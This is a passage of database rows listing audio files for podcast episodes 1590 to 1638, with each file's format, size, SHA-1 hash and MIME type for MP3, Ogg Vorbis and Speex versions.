(1590,'hpr1590.ogg','ogg',2916935,'f781dad8a5db2b93984ac738bc509fa5d52aae26','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1590,'hpr1590.spx','spx',1168337,'1cf03289c6a1f7423b41ebf018c675d76ddc77d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1591,'hpr1591.mp3','mp3',24633001,'8ce1205b0368e93f10c2956ae5acb7a4dab596ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(1591,'hpr1591.ogg','ogg',18273590,'a3c5504d87d739b1a2d1ad89c809d0a7227a4f59','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(1591,'hpr1591.spx','spx',5500542,'1fc816ed2e5dcb5c87945feaa9f87c574fe347d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1592,'hpr1592.mp3','mp3',6264692,'f88d7358eacac0d9299853d1c54565f6ce870e47','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1592,'hpr1592.ogg','ogg',6890602,'43a36e0ab2e7fc4b8802baf4e7c68454eb69db6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1592,'hpr1592.spx','spx',2797526,'14de64b0721434043d3f3394a093e1e0390335ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(1593,'hpr1593.mp3','mp3',5669114,'8fa745ff86e5d695bd49c5b8a06cc844942d62e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1593,'hpr1593.ogg','ogg',6867504,'89c53514e41429ea1d71d5f1635912b155c4a807','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1593,'hpr1593.spx','spx',2531577,'a5d973e5dbdce948ef36d79799e238d35db478bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1594,'hpr1594.mp3','mp3',8271155,'909ed060f18724e52017c1136e81120e036d40ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1594,'hpr1594.ogg','ogg',8869006,'489725c7e32a4617969e803726dbb61c23b5336d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1594,'hpr1594.spx','spx',3693641,'6bad0bd9bcabc35c9864b713e9133fca6ea62e26','application/ogg; charset=binary','Ogg data, Speex audio'),
(1595,'hpr1595.mp3','mp3',8308099,'2ce45b2580309f6bd04838329b4f9d0c440c74e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1595,'hpr1595.ogg','ogg',10152700,'1519cbb265d565001471d25a91fdbae3a6b393b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1595,'hpr1595.spx','spx',3710246,'135cbee1bd256afc297cc7322604f075b7578754','application/ogg; charset=binary','Ogg data, Speex audio'),
(1596,'hpr1596.mp3','mp3',6008276,'8aaf5b2e8306bf759c88011feca447df89ab1979','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1596,'hpr1596.ogg','ogg',5701655,'a68bdaa61408cef0483dbd898f30e6c7084d88ba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1596,'hpr1596.spx','spx',2683057,'f132a5aeac2438288e6112f53e06338ac27abd97','application/ogg; charset=binary','Ogg data, Speex audio'),
(1597,'hpr1597.mp3','mp3',6808728,'0280a90f58171c0d86ec34f8eee90ffc9106eed6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1597,'hpr1597.ogg','ogg',7700845,'55b8c9333e7e6bba8c432fe305168a6a369697e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1597,'hpr1597.spx','spx',3040555,'20a5b3d34302e385e3d2a6cc74d676c66a98160a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1598,'hpr1598.mp3','mp3',12268717,'ee709f5eb0b710c85a74d296a5a6ed9c3456f481','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1598,'hpr1598.ogg','ogg',15298550,'2004730fbc376b38d5a7b3e89c22243a17b6da2f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1598,'hpr1598.spx','spx',5479086,'e168a55f1c1ea49a8e9a2a2d90c344d372bcd185','application/ogg; charset=binary','Ogg data, Speex audio'),
(1599,'hpr1599.mp3','mp3',42299952,'6db419fd727c57e158ebcbef9121ddc41a5b7bfc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1599,'hpr1599.ogg','ogg',43374289,'5cecbd437536d3e1693d5e876d994f8f96dc70ce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1599,'hpr1599.spx','spx',18891350,'14031911ce93b21c016ab215a341f1869a8e721f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1600,'hpr1600.mp3','mp3',3492331,'cd91ff6a4ea77b0e76e3856c782d24a4567ae18d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1600,'hpr1600.ogg','ogg',3878715,'9909206d8ccd8cf8897e5e2611dfded4eb4f6a42','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1600,'hpr1600.spx','spx',1559404,'989d5bfbd11372af3b22a22e4ab962f6baaf55a6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1601,'hpr1601.mp3','mp3',7024343,'9eea7415e8493e69e4e14d2cf34098bb7641ce51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1601,'hpr1601.ogg','ogg',6648150,'af5668b18845fdd642c5181dbd3a8914514bd123','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1601,'hpr1601.spx','spx',3136804,'42e698c3ad1e6a248a2e0ea020fb1b8309e980ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(1602,'hpr1602.mp3','mp3',8558452,'7f18fbe4660d6da74246e74b9b32cabdba8e6613','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1602,'hpr1602.ogg','ogg',9486511,'badecb33205755e567b589d83a83b18da43b74a2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1602,'hpr1602.spx','spx',3821943,'5d1e4e8741674284c9a4f5ebf5000430001725e2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1603,'hpr1603.mp3','mp3',5910348,'ac3882a0d95cc99eae9408d2de787e0f6cf96d62','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1603,'hpr1603.ogg','ogg',6515515,'320112d5b7d79758b336f16936aceaf7454e0719','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1603,'hpr1603.spx','spx',2639393,'0e04cbb7fed78689252421f5239cabe1398b77dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1604,'hpr1604.mp3','mp3',8321273,'f6904bd3f694be06f4793d7c592aaa9377e0c3d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1604,'hpr1604.ogg','ogg',8874933,'019b6ac3e3dc875b6be7608016f4d1959df60450','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1604,'hpr1604.spx','spx',3716059,'30d450a1747dcf1cb44862db8bf7da5f41d57a07','application/ogg; charset=binary','Ogg data, Speex audio'),
(1605,'hpr1605.mp3','mp3',9194174,'56a1099e42ee96e9482cee2ed968579bd3b0a8bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1605,'hpr1605.ogg','ogg',11471849,'67da79eede5520d5c8c0ea2994887ad1ccfbc26d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1605,'hpr1605.spx','spx',4105912,'6f688da5318d884a7cba4ba040ba7675ba550b9d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1606,'hpr1606.mp3','mp3',6745771,'579676baaf07707e9a8602ad1c020ebdde9c473d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1606,'hpr1606.ogg','ogg',6363461,'212f5bb6aaae3e760526a0bcd86d9482914c49d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1606,'hpr1606.spx','spx',3012408,'4c44ce8c86d97a163726e191aaae4014a8eba61d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1607,'hpr1607.mp3','mp3',4125609,'de2b0b58e5dbca42671333b3c7562a9601bd04d8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1607,'hpr1607.ogg','ogg',4494949,'3b108e9e8cb96998a6f5a69ae4a7eb739c1e33b8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1607,'hpr1607.spx','spx',1842231,'f240d7b138116694ebdf2c1be0f867ad6986c134','application/ogg; charset=binary','Ogg data, Speex audio'),
(1608,'hpr1608.mp3','mp3',20413272,'cbce25fd574bc2bad197155d501cd5ebe6cab75a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1608,'hpr1608.ogg','ogg',23098718,'412ce7e8a40fcf0fb0726becc5e3638833bb8d13','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1608,'hpr1608.spx','spx',9116565,'fa4fdaa63f4e4c6a5e210653ea691f753d837e4a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1609,'hpr1609.mp3','mp3',17005907,'6f8da68cee2b53337960de501675664d01ac5f2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1609,'hpr1609.ogg','ogg',18221296,'9f03696fd6f98f80e1a45498a76ac23f073a7339','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1609,'hpr1609.spx','spx',7594778,'e47662e0fb98f0ff3aa41650a1a4e13d8a4419e5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1610,'hpr1610.mp3','mp3',4276215,'b35e9ab4b2ac77b426374cd1c67acc1d34baf9fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1610,'hpr1610.ogg','ogg',4711910,'9132e8dac38c854f29035085a508cab4919ddab8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1610,'hpr1610.spx','spx',1909476,'b63c1bdc8bd5a2dae835aea1488e4a1a4e43697c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1611,'hpr1611.mp3','mp3',27629374,'90cb9f80f11c08c1beb0ac54ba4183d2c91756c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1611,'hpr1611.ogg','ogg',26725480,'adc69e4601c8d0f8c0f5d4642461e9ea56d96b04','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1611,'hpr1611.spx','spx',12339330,'fc6972f1b5077f15e3f81cc53bf4346ab251cbf6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1612,'hpr1612.mp3','mp3',9199026,'9539635699dddaf38b0090e91c965137045f9a25','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1612,'hpr1612.ogg','ogg',10218050,'db47fd152bd07a4aa4a4fc27b989d113a76fdc8d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1612,'hpr1612.spx','spx',4108116,'fdeed61d6d3c998c1056ca5cccce7aee2087a3fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1613,'hpr1613.mp3','mp3',3552356,'57cf1f058708cbc77b74008a0d55bb4a76b2af09','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1613,'hpr1613.ogg','ogg',4128007,'66c1cbf5ba53475e0f10681e0872e842f622be58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1613,'hpr1613.spx','spx',1586266,'3027dfa60212781efe6a349108a1efc6170f1b9b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1614,'hpr1614.mp3','mp3',10129100,'ce00d0aecdc2a4a00615869f0c046f52dab12ea9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1614,'hpr1614.ogg','ogg',11334737,'69cd4f91822419a78ac1a90d90a03001deecbff0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1614,'hpr1614.spx','spx',4523502,'67abc04abe921a8a7cae8867bc96f222bffb3710','application/ogg; charset=binary','Ogg data, Speex audio'),
(1615,'hpr1615.mp3','mp3',9701997,'45f4d2588e5e5365fa6916b3cc728f4019d024bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1615,'hpr1615.ogg','ogg',11941570,'7f57ff741a5110fc86028027aa5bef24c350d1cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1615,'hpr1615.spx','spx',4332727,'743cbf90c420d9dbbbf213c5c75d3a73a836d65d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1616,'hpr1616.mp3','mp3',9416127,'dc35b4d487ae8f9052b6f0eab1442500458072ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1616,'hpr1616.ogg','ogg',8903185,'4d4f17d3f223f7789ebcb19ada112af0c9bb666a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1616,'hpr1616.spx','spx',4205055,'65965564cdfda613b25b0f7bc1e0b705e922dec4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1617,'hpr1617.mp3','mp3',4550196,'16be8c6d743064e0e4fa7353fd580b75670b5d21','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1617,'hpr1617.ogg','ogg',4971373,'72bc9079eac11086b4e01d68414408f0cd8baa8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1617,'hpr1617.spx','spx',2031820,'1ddcf8430cd94a32fe4172d9f46e0b3da2d809f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1618,'hpr1618.mp3','mp3',6056348,'39acf0a01348d240ca6d520f6e501b733eb3d64c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1618,'hpr1618.ogg','ogg',7221638,'b42d2d1346cf59de9d6e62607092adb72298df43','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1618,'hpr1618.spx','spx',2704570,'a0c3c4055e866bf8f346fe12028df6eb7d5c0f2a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1619,'hpr1619.mp3','mp3',29453584,'c7c4c7542b1df380a6e6f20a97a8c2019e9f0323','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1619,'hpr1619.ogg','ogg',32517578,'ace00d163cbd5bebee72bf0587265b74de775808','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1619,'hpr1619.spx','spx',13154039,'ec2bd37c6d5af0867cbb3813b0a6faae48dd0873','application/ogg; charset=binary','Ogg data, Speex audio'),
(1620,'hpr1620.mp3','mp3',9923391,'05c3268e4f71c0c469762dbba195291d638e803d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1620,'hpr1620.ogg','ogg',12298309,'173062e7f9807e5b0be3b8a43261508233513029','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1620,'hpr1620.spx','spx',4431653,'b1f89d30edec3a68a6f75bddcd02c784b2ed104d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1621,'hpr1621.mp3','mp3',5444061,'80ea3db46e5c20031774b73697e258e7bf2bb18d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1621,'hpr1621.ogg','ogg',6208675,'b8f31be958e72f1c54eefa7e184480fd07d723c3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1621,'hpr1621.spx','spx',2431122,'623d65ab5cb35a434d8d9fa20ecbec4e3492fd6b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1622,'hpr1622.mp3','mp3',29351252,'9de00d5efb0c19b3ca8fce706fa0fb6296231c02','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1622,'hpr1622.ogg','ogg',32714100,'6a6a679c0c99952fb40fc2b0b883ad9cb02b8c1e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1622,'hpr1622.spx','spx',13108300,'21d6915f117299f0e99776557094243d45987f3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1623,'hpr1623.mp3','mp3',9705819,'b4d57f016b5aca48fee67bc88327132f421d56ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1623,'hpr1623.ogg','ogg',11180171,'aa60e5ef47ed143f524da91231f0878f4510ed81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1623,'hpr1623.spx','spx',4334421,'bccee375b7b27efa58bce6488cce2fd647d86083','application/ogg; charset=binary','Ogg data, Speex audio'),
(1624,'hpr1624.mp3','mp3',7260737,'e31555c591e915350da62c4b32586dd85cfca8a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1624,'hpr1624.ogg','ogg',8525092,'6cedc83e70a6e8f3e2a7f4c7c5f7ccf84b935893','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1624,'hpr1624.spx','spx',3242456,'54fbca6b0e270b01e130762843d5ac12b0838b1f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1625,'hpr1625.mp3','mp3',7309168,'2bdb35616bed6c674f8cb9e50f59298b1b4e2ba0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1625,'hpr1625.ogg','ogg',8795624,'485bda16c3b677ccaae95bce0be9ff7d8f36d792','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1625,'hpr1625.spx','spx',3264078,'0b4e1d327e45c05ac82763f00cc754125fdf9688','application/ogg; charset=binary','Ogg data, Speex audio'),
(1626,'hpr1626.mp3','mp3',10160146,'e4009084582b12150b0f4bd490d7634b6aa77bd0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1626,'hpr1626.ogg','ogg',11527003,'7f1441a1c138c5b1ceddbd93b9e362ff9ada4771','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1626,'hpr1626.spx','spx',4537390,'800ab410d75a8150b52b420bb8b0456048b79001','application/ogg; charset=binary','Ogg data, Speex audio'),
(1627,'hpr1627.mp3','mp3',7099608,'727e69760785d67383f416117c7f2a07c6bbab1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1627,'hpr1627.ogg','ogg',7916625,'286400fb3b7d7f69ee713c3fa8a7e49c2f33fe28','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1627,'hpr1627.spx','spx',3170495,'d864496fe8a1e4d11c20fade8501841f90d5eb9a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1628,'hpr1628.mp3','mp3',5895464,'26ca20401cff9bab5698a8888ec920afca318ac1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1628,'hpr1628.ogg','ogg',6988752,'fe7789db96ae0dc8b126d91b1572ee2fce443369','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1628,'hpr1628.spx','spx',2632716,'8f702a9244146de5d44a41230ae90992199c5922','application/ogg; charset=binary','Ogg data, Speex audio'),
(1629,'hpr1629.mp3','mp3',7616586,'a09cf7e86e4fbb0cf33be71f2a8654abc1218428','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1629,'hpr1629.ogg','ogg',7762314,'65c04bb7285d88ab1977fcc1c98bf507e30c88d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1629,'hpr1629.spx','spx',3401271,'74e0d7dce0fbc6507c2e379900de920c652f4fc9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1630,'hpr1630.mp3','mp3',23752409,'bbeee53969ab2546d1eac86eb20cef5803bf6fe6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1630,'hpr1630.ogg','ogg',26032541,'492f34cbc24850b2c53dcb073766008cfa7fe3de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1630,'hpr1630.spx','spx',10607785,'ecf15ecf5fd325e33dc08463dd970d680ff388c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1631,'hpr1631.mp3','mp3',24555662,'65b5cdf075d2b036e4f91b5608373d52d97570d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1631,'hpr1631.ogg','ogg',22458446,'e58f4659bb587ed766d19e52912a95b32bbbc419','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1631,'hpr1631.spx','spx',10966533,'d4bacd9755571ce4a187a13903a30ddfe6bb559f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1632,'hpr1632.mp3','mp3',24230899,'ab6e7a00ff8d05159dfef9a1d6fd0f31c09faf53','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1632,'hpr1632.ogg','ogg',27856343,'abf917f478be35c4810f6ff9bd0e80abd35b9947','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1632,'hpr1632.spx','spx',10821450,'6ab86137c9dc75a054a463cf7b265d8d72dd1862','application/ogg; charset=binary','Ogg data, Speex audio'),
(1633,'hpr1633.mp3','mp3',13040880,'6da71fe7df405157d6d6777b983b3be8785151ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1633,'hpr1633.ogg','ogg',16354141,'c184f37803a69e1631e60d890df39a85a4d4fe09','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1633,'hpr1633.spx','spx',5823930,'83caef1165c46c1aabe475af93e8b5ae4b4b55a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1634,'hpr1634.mp3','mp3',7961596,'3b0039091696a599f958652d92e3f80bf986e86e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1634,'hpr1634.ogg','ogg',7733978,'0c9f03dbae99e50d114c5752ea25267c43417ff3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1634,'hpr1634.spx','spx',3555402,'0eafccb5a59462a99acaf171c14bf949a48e4d02','application/ogg; charset=binary','Ogg data, Speex audio'),
(1635,'hpr1635.mp3','mp3',6103803,'923ec6876f97a8412e606a7d2bcc607e14aa5a16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1635,'hpr1635.ogg','ogg',7427163,'237277b88814a982380b2f54320a13aab3e04bf5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1635,'hpr1635.spx','spx',2725738,'6743850fab0c74d0f3e9ccbffecdcf7322f97fd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1636,'hpr1636.mp3','mp3',7175865,'59602ea87acc0c5898dc9f59ef36ddd345f33433','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1636,'hpr1636.ogg','ogg',7508112,'3c48aed01dd33cce14cc1a52ce4a860c29941833','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1636,'hpr1636.spx','spx',3204557,'bec73e3f9790510472d22c26f9509a12f005360a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1637,'hpr1637.mp3','mp3',21970582,'21c9cb56fe8da6b3e36ca66bda7011f93a73d269','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1637,'hpr1637.ogg','ogg',24379596,'3802f5b1935d8f2b0a4118f7782f10623dbceff6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1637,'hpr1637.spx','spx',9811986,'5c8dd237dbe1154bb0b851f7779e4707b754dccf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1638,'hpr1638.mp3','mp3',7330743,'c4dbeabd9404ff9d091372a9b4b79b7adc1af5b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
